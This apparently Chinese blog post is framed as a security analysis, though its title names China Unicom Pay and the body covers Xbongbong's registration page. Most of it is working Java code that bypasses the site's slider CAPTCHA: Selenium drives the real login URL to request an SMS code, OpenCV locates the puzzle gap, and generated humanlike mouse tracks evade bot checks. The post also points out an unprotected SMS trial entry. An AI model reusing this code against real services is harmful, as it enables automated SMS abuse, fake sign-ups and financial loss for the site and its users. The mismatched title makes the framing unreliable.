联通支付注册/登录安全分析报告
前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：
- 暴力破解密码，造成用户信息泄露
- 短信盗刷的安全问题，影响业务及导致用户投诉
- 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析
一、 销帮帮PC 注册入口
简介：杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩，让企业更成功。销帮帮拥有强大而灵活的“PaaS+低代码”能力。
二、 安全性分析报告：
销帮帮自研的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上，该网站存在一个试用页面入口无任何防御的问题。
三、 测试方法：
前端界面分析，这是销帮帮自己研发的滑动验证码，网上没有现成的教学视频，但形式都差不多，难点:防模拟器鼠标，物理鼠标和逻辑鼠标定位不一致判断措施，解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分，目前采用的是物理鼠标的方式。
这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分
1. 模拟器交互部分
private OpenCv2 openCv2 = new OpenCv2(64, 128);
private static String INDEX_URL ="https://appwebfront.xbongbong.com/stand-alone-login.html#/";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone){
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
driver.findElement(By.xpath("//p[contains(text(),'免费注册')]")).click();
Thread.sleep(100);
// 输入手机号
WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);
phoneElemet.sendKeys(phone);
// 点击获取验证码
WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));
sendElement.click();
Thread.sleep(1000);
// pic 1 get big
WebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));
String bigSrc = bigImgElement.getAttribute("src");
byte[] bigBytes = GetImage.imgStrToByte(bigSrc);
int bigLen =(bigBytes != null) ? bigBytes.length :0;if(bigLen <100){
System.out.println("base64Str=" + bigSrc + "->bigLen=" + bigLen);return null;}
// pic 2 get small
WebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));
String smallSrc = smallImgElement.getAttribute("src");
byte[] smallBytes = GetImage.imgStrToByte(smallSrc);
int smallLen =(smallBytes != null) ? smallBytes.length :0;if(smallLen <100){
System.out.println("smallSrc=" + smallSrc + "->smallLen=" + smallLen);return null;}
String ckSum = GenChecksumUtil.genChecksum(bigBytes);
Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);if(openResult == null || openResult.size()<2){
System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);return null;}
Double r =1.0;
BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);
int distance = disD.intValue();
boolean isRobot =true;
int beginX =827;
int beginY =659;if(isRobot){
RobotMove.move(beginX, beginY, distance);}else{
WebElement moveElement = driver.findElement(By.className("verify-left-bar"));
ActionMove.move(driver, moveElement, distance);}
System.out.println("distance=" + distance);
Thread.sleep(1000);
WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span/span[contains(text(),'(')]"), 20);
String info =(infoElement != null) ? infoElement.getText(): null;
retEntity.setMsg(info);if(info != null && info.contains("(")){
retEntity.setRet(0);}return retEntity;} catch (Exception e){
System.out.println("phone=" + phone + ",e=" + e.toString());for(StackTraceElement ele : e.getStackTrace()){
System.out.println(ele.toString());}return null;}}
2. 距离识别
/**
*
* @param ckSum
* @param bigBytes
* @param smallBytes
* @param factory
* @return { width, maxX }
*/
public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border){
try {
String basePath = ConstTable.codePath + factory + "/";
File baseFile = new File(basePath);if(!baseFile.isDirectory()){
baseFile.mkdirs();}
// 小图文件
File smallFile = new File(basePath + ckSum + "_s.png");
FileUtils.writeByteArrayToFile(smallFile, smallBytes);
// 大图文件
File bigFile = new File(basePath + ckSum + "_b.png");
FileUtils.writeByteArrayToFile(bigFile, bigBytes);
// 边框清理(去干扰)
byte[] clearBoder =(border >0) ? ImageIOHelper.clearBoder(smallBytes, border): smallBytes;
File tpFile = new File(basePath + ckSum + "_t.png");
FileUtils.writeByteArrayToFile(tpFile, clearBoder);
String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e){
logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for(StackTraceElement elment : e.getStackTrace()){
logger.error(elment.toString());}return null;}}
/**
* Open Cv 图片模板匹配
*
* @param tpPath
* 模板图片路径
* @param bgPath
* 目标图片路径
* @return { width, maxX }
*/
private String[] getWidth(String tpPath, String bgPath, String resultFile){
try {
Rect rectCrop = clearWhite(tpPath);
Mat g_tem = Imgcodecs.imread(tpPath);
Mat clearMat = g_tem.submat(rectCrop);
Mat cvt = new Mat();
Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
Mat edgesSlide = new Mat();
Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
Mat cvtSlide = new Mat();
Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
Imgcodecs.imwrite(tpPath, cvtSlide);
Mat g_b = Imgcodecs.imread(bgPath);
Mat edgesBg = new Mat();
Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
Mat cvtBg = new Mat();
Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);
int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
// 归一化相关匹配法
MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
Point maxLoc = minMaxLoc.maxLoc;
Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
Imgcodecs.imwrite(resultFile, cvtBg);
String width = String.valueOf(cvtSlide.cols());
String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[]{ width, maxX };} catch (Throwable e){
System.out.println("getWidth() " + e.toString());
logger.error("getWidth() " + e.toString());for(StackTraceElement elment : e.getStackTrace()){
logger.error(elment.toString());}return null;}}
public Rect clearWhite(String smallPath){
try {
Mat matrix = Imgcodecs.imread(smallPath);
int rows = matrix.rows();// height -> y
int cols = matrix.cols();// width -> x
System.out.println("OpenCv2.clearWhite() rows=" + rows + ",cols=" + cols);
Double rgb;
double[] arr;
int minX =255;
int minY =255;
int maxX =0;
int maxY =0;
Color c;for(int x =0; x < cols; x++){for(int y =0; y < rows; y++){
arr = matrix.get(y, x);
rgb =0.00;for(int i =0; i <3; i++){
rgb += arr[i];}
c = new Color(rgb.intValue());
int b = c.getBlue();
int r = c.getRed();
int g = c.getGreen();
int sum= r + g + b;if(sum >=5){if(x <= minX)
minX = x;elseif(x >= maxX)
maxX = x;if(y <= minY)
minY = y;elseif(y >= maxY)
maxY = y;}}}
int boder =1;if(boder >0){
minX =(minX > boder) ? minX - boder :0;
maxX =(maxX + boder < cols) ? maxX + boder : cols;
minY =(minY > boder) ? minY - boder :0;
maxY =(maxY + boder < rows) ? maxY + boder : rows;}
int width =(maxX - minX);
int height =(maxY - minY);
System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e){
StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for(StackTraceElement elment : e.getStackTrace()){
er.append(elment.toString() + "\n");}
logger.error(er.toString());
System.out.println(er.toString());return null;}}
3. 轨道生成及移动算法
/**
* 双轴轨道生成算法，主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance){
List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
try {
int a =(int)(distance / 3.0) + random.nextInt(10);
int h =0, current =0;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
boolean plus =true;
Double t =0.18, v=0.00, v0;while(current <= distance){
h = random.nextInt(2);if(current > distance / 2){
h = h * -1;}
v0 =v;v= v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
if(move.intValue()<1)
move = new BigDecimal(1L);if(plus){
track.add(new Integer[]{ move.intValue(), h });}else{
subList.add(0, new Integer[]{ move.intValue(), h });}
current += move.intValue();if(plus && current >= mid.intValue()){
plus =false;
move = new BigDecimal(0L);v=0.00;}}
track.addAll(subList);
int bk = current - distance;if(bk >0){for(int i =0; i < bk; i++){
track.add(new Integer[]{ -1, h });}}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e){
System.out.print(e.toString());return null;}}
/**
* 模拟人工移动
*
* @param driver
* @param element页面滑块
* @param distance需要移动距离
* @throws InterruptedException
*/
public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
List<Integer[]> track = getXyTrack(distance);if(track == null || track.size()<1){
System.out.println("move() track=" + track);}
int moveY, moveX;
StringBuffer sb = new StringBuffer();
try {
Actions actions = new Actions(driver);
actions.clickAndHold(element).perform();
Thread.sleep(50);
long begin, cost;
Integer[] move;
int sum=0;for(int i =0; i < track.size(); i++){
begin = System.currentTimeMillis();
move = track.get(i);
moveX = move[0];sum+= moveX;
moveY = move[1];if(moveX <0){if(sb.length()>0){
sb.append(",");}
sb.append(moveX);}
actions.moveByOffset(moveX, moveY).perform();
cost = System.currentTimeMillis() - begin;if(cost <5){
Thread.sleep(5 - cost);}}if(sb.length()>0){
System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}
Thread.sleep(180);
actions.release(element).perform();
Thread.sleep(500);} catch (Exception e){
StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for(StackTraceElement elment : e.getStackTrace())
er.append(elment.toString() + "\n");
logger.error(er.toString());
System.out.println(er.toString());}}
4. 图片比对结果测试样例：
四丶结语
杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩，让企业更成功。 销帮帮拥有强大而灵活的“PaaS+低代码”能力。在吸取了同行滑动验证码的经验后，自己研发了独特风格的那个验证码， 从逆向代码来看， 不仅借鉴了同行的技术原理，还在防抓取上下了功夫，防模拟器鼠标，物理鼠标和逻辑鼠标定位不一致判断措施，解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分，目前采用的是物理鼠标的方式。
从这点看，的确让初级黑客止步，但本质上， 前端技术都是暴露在浏览器，不管是JS 注入还是后端代理模式，都会让这些小技巧无效。
另一方面，该网站试用页面入口短信验证无任何验证，存在被盗刷短信的隐患。
很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#
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谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？
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